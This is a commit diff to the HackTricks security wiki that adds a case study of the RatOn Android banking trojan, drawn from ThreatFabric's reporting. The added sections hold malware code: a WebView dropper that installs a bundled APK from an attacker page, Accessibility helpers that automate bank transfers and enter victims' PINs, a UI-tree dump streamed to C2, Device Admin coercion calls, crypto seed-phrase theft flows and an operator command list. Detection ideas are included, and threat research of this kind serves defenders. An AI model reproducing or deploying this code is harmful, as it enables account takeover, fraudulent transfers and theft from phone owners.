Skip to content

Commit 194eca8

Browse files
author
HackTricks News Bot
committed
Add content from: The Rise of RatOn: From NFC heists to remote control and ATS
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit 194eca8

3 files changed

Lines changed: 259 additions & 1 deletion

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -222,11 +222,177 @@ public void onMessageReceived(RemoteMessage msg){
222222

223223
---
224224

225+
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
226+
227+
The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.
228+
229+
### Stage-1: WebView → native install bridge (dropper)
230+
Attackers present a WebView pointing to an attacker page and inject a JavaScript interface that exposes a native installer. A tap on an HTML button calls into native code that installs a second-stage APK bundled in the dropper’s assets and then launches it directly.
231+
232+
Minimal pattern:
233+
234+
```java
235+
public class DropperActivity extends Activity {
236+
@Override protected void onCreate(Bundle b){
237+
super.onCreate(b);
238+
WebView wv = new WebView(this);
239+
wv.getSettings().setJavaScriptEnabled(true);
240+
wv.addJavascriptInterface(new Object(){
241+
@android.webkit.JavascriptInterface
242+
public void installApk(){
243+
try {
244+
PackageInstaller pi = getPackageManager().getPackageInstaller();
245+
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
246+
int id = pi.createSession(p);
247+
try (PackageInstaller.Session s = pi.openSession(id);
248+
InputStream in = getAssets().open("payload.apk");
249+
OutputStream out = s.openWrite("base.apk", 0, -1)){
250+
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
251+
}
252+
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
253+
pi.commit(id, status.getIntentSender());
254+
} catch (Exception e) { /* log */ }
255+
}
256+
}, "bridge");
257+
setContentView(wv);
258+
wv.loadUrl("https://attacker.site/install.html");
259+
}
260+
}
261+
```
262+
263+
HTML on the page:
264+
265+
```html
266+
<button onclick="bridge.installApk()">Install</button>
267+
```
268+
269+
After install, the dropper starts the payload via explicit package/activity:
270+
271+
```java
272+
Intent i = new Intent();
273+
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
274+
startActivity(i);
275+
```
276+
277+
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
278+
279+
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
280+
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
281+
282+
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
283+
- Overlay permission check/request:
284+
285+
```java
286+
if (!Settings.canDrawOverlays(ctx)) {
287+
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
288+
Uri.parse("package:" + ctx.getPackageName()));
289+
ctx.startActivity(i);
290+
}
291+
```
292+
293+
See also:
294+
295+
{{#ref}}
296+
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
297+
{{#endref}}
298+
299+
### Overlay phishing/ransom via WebView
300+
Operators can issue commands to:
301+
- render a full-screen overlay from a URL, or
302+
- pass inline HTML that is loaded into a WebView overlay.
303+
304+
Likely uses: coercion (PIN entry), wallet opening to capture PINs, ransom messaging. Keep a command to ensure overlay permission is granted if missing.
305+
306+
### Remote control model – text pseudo-screen + screen-cast
307+
- Low-bandwidth: periodically dump the Accessibility node tree, serialize visible texts/roles/bounds and send to C2 as a pseudo-screen (commands like `txt_screen` once and `screen_live` continuous).
308+
- High-fidelity: request MediaProjection and start screen-casting/recording on demand (commands like `display` / `record`).
309+
310+
### ATS playbook (bank app automation)
311+
Given a JSON task, open the bank app, drive the UI via Accessibility with a mix of text queries and coordinate taps, and enter the victim’s payment PIN when prompted.
312+
313+
Example task:
314+
315+
```json
316+
{
317+
"cmd": "transfer",
318+
"receiver_address": "ACME s.r.o.",
319+
"account": "123456789/0100",
320+
"amount": "24500.00",
321+
"name": "ACME"
322+
}
323+
```
324+
325+
Example texts seen in one target flow (CZ → EN):
326+
- "Nová platba" → "New payment"
327+
- "Zadat platbu" → "Enter payment"
328+
- "Nový příjemce" → "New recipient"
329+
- "Domácí číslo účtu" → "Domestic account number"
330+
- "Další" → "Next"
331+
- "Odeslat" → "Send"
332+
- "Ano, pokračovat" → "Yes, continue"
333+
- "Zaplatit" → "Pay"
334+
- "Hotovo" → "Done"
335+
336+
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
337+
338+
### Crypto wallet seed extraction
339+
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
340+
341+
### Device Admin coercion
342+
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
343+
344+
- Immediate lock:
345+
346+
```java
347+
dpm.lockNow();
348+
```
349+
350+
- Expire current credential to force change (Accessibility captures new PIN/password):
351+
352+
```java
353+
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
354+
```
355+
356+
- Force non-biometric unlock by disabling keyguard biometric features:
357+
358+
```java
359+
dpm.setKeyguardDisabledFeatures(admin,
360+
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
361+
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
362+
```
363+
364+
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
365+
366+
### NFC relay orchestration (NFSkate)
367+
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
368+
369+
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
370+
371+
### Operator command set (sample)
372+
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
373+
- Social: `send_push`, `Facebook`, `WhatsApp`
374+
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
375+
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
376+
- ATS: `transfer`, `check_limit`, `limit`
377+
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
378+
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
379+
- NFC: `nfs`, `nfs_inject`
380+
381+
### Detection & defence ideas (RatOn-style)
382+
- Hunt for WebViews with `addJavascriptInterface()` exposing installer/permission methods; pages ending in “/access” that trigger Accessibility prompts.
383+
- Alert on apps that generate high-rate Accessibility gestures/clicks shortly after being granted service access; telemetry that resembles Accessibility node dumps sent to C2.
384+
- Monitor Device Admin policy changes in untrusted apps: `lockNow`, password expiration, keyguard feature toggles.
385+
- Alert on MediaProjection prompts from non-corporate apps followed by periodic frame uploads.
386+
- Detect installation/launch of an external NFC-relay app triggered by another app.
387+
- For banking: enforce out-of-band confirmations, biometrics-binding, and transaction-limits resistant to on-device automation.
388+
225389
## References
226390

227391
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
228392
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
229393
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
230394
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
395+
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
396+
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
231397

232398
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -146,8 +146,101 @@ The **AccessibilityService** is the local engine that turns those cloud commands
146146

147147
---
148148

149+
## ATS automation cheat-sheet (Accessibility-driven)
150+
Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
151+
152+
```java
153+
// Helpers inside your AccessibilityService
154+
private List<AccessibilityNodeInfo> byText(String t){
155+
AccessibilityNodeInfo r = getRootInActiveWindow();
156+
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
157+
}
158+
private boolean clickText(String t){
159+
for (AccessibilityNodeInfo n: byText(t)){
160+
if (n.isClickable()) return n.performAction(ACTION_CLICK);
161+
AccessibilityNodeInfo p = n.getParent();
162+
if (p != null) return p.performAction(ACTION_CLICK);
163+
}
164+
return false;
165+
}
166+
private void inputText(AccessibilityNodeInfo field, String text){
167+
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
168+
field.performAction(ACTION_SET_TEXT, b);
169+
}
170+
private void tap(float x, float y){
171+
Path p = new Path(); p.moveTo(x,y);
172+
dispatchGesture(new GestureDescription.Builder()
173+
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
174+
}
175+
```
176+
177+
Example flow (Czech → English labels):
178+
- "Nová platba" (New payment) → click
179+
- "Zadat platbu" (Enter payment) → click
180+
- "Nový příjemce" (New recipient) → click
181+
- "Domácí číslo účtu" (Domestic account number) → focus and `ACTION_SET_TEXT`
182+
- "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN
183+
184+
Fallback: hard-coded coordinates with `dispatchGesture` when text lookup fails due to custom widgets.
185+
186+
Also seen: pre-steps to `check_limit` and `limit` by navigating to limits UI and increasing daily limits before transfer.
187+
188+
## Text-based pseudo-screen streaming
189+
For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.
190+
191+
```java
192+
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
193+
if (n==null) return;
194+
Rect b = new Rect(); n.getBoundsInScreen(b);
195+
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
196+
sb.append(indent).append("[").append(cls).append("] ")
197+
.append(txt==null?"":txt).append(" ")
198+
.append(b.toShortString()).append("\n");
199+
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
200+
}
201+
```
202+
203+
This is the basis for commands like `txt_screen` (one-shot) and `screen_live` (continuous).
204+
205+
## Device Admin coercion primitives
206+
Once a Device Admin receiver is activated, these calls increase opportunities to capture credentials and maintain control:
207+
208+
```java
209+
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
210+
ComponentName admin = new ComponentName(this, AdminReceiver.class);
211+
212+
// 1) Immediate lock
213+
dpm.lockNow();
214+
215+
// 2) Force credential change (expire current PIN/password)
216+
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
217+
218+
// 3) Disable biometric unlock to force PIN/pattern entry
219+
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
220+
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
221+
dpm.setKeyguardDisabledFeatures(admin, flags);
222+
```
223+
224+
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
225+
226+
## Crypto wallet seed-phrase extraction patterns
227+
Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:
228+
- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
229+
- Navigate: Settings → Security/Recovery → Reveal/Show recovery phrase.
230+
- Collect phrase via keylogging the text nodes, secure-screen bypass, or screenshot OCR when text is obscured.
231+
- Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer `viewIdResourceName` when available, fallback to multilingual text matching.
232+
233+
## NFC-relay orchestration
234+
Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.
235+
236+
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
237+
238+
---
239+
149240
## References
150241
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
151242
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
243+
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
244+
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
152245

153246
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)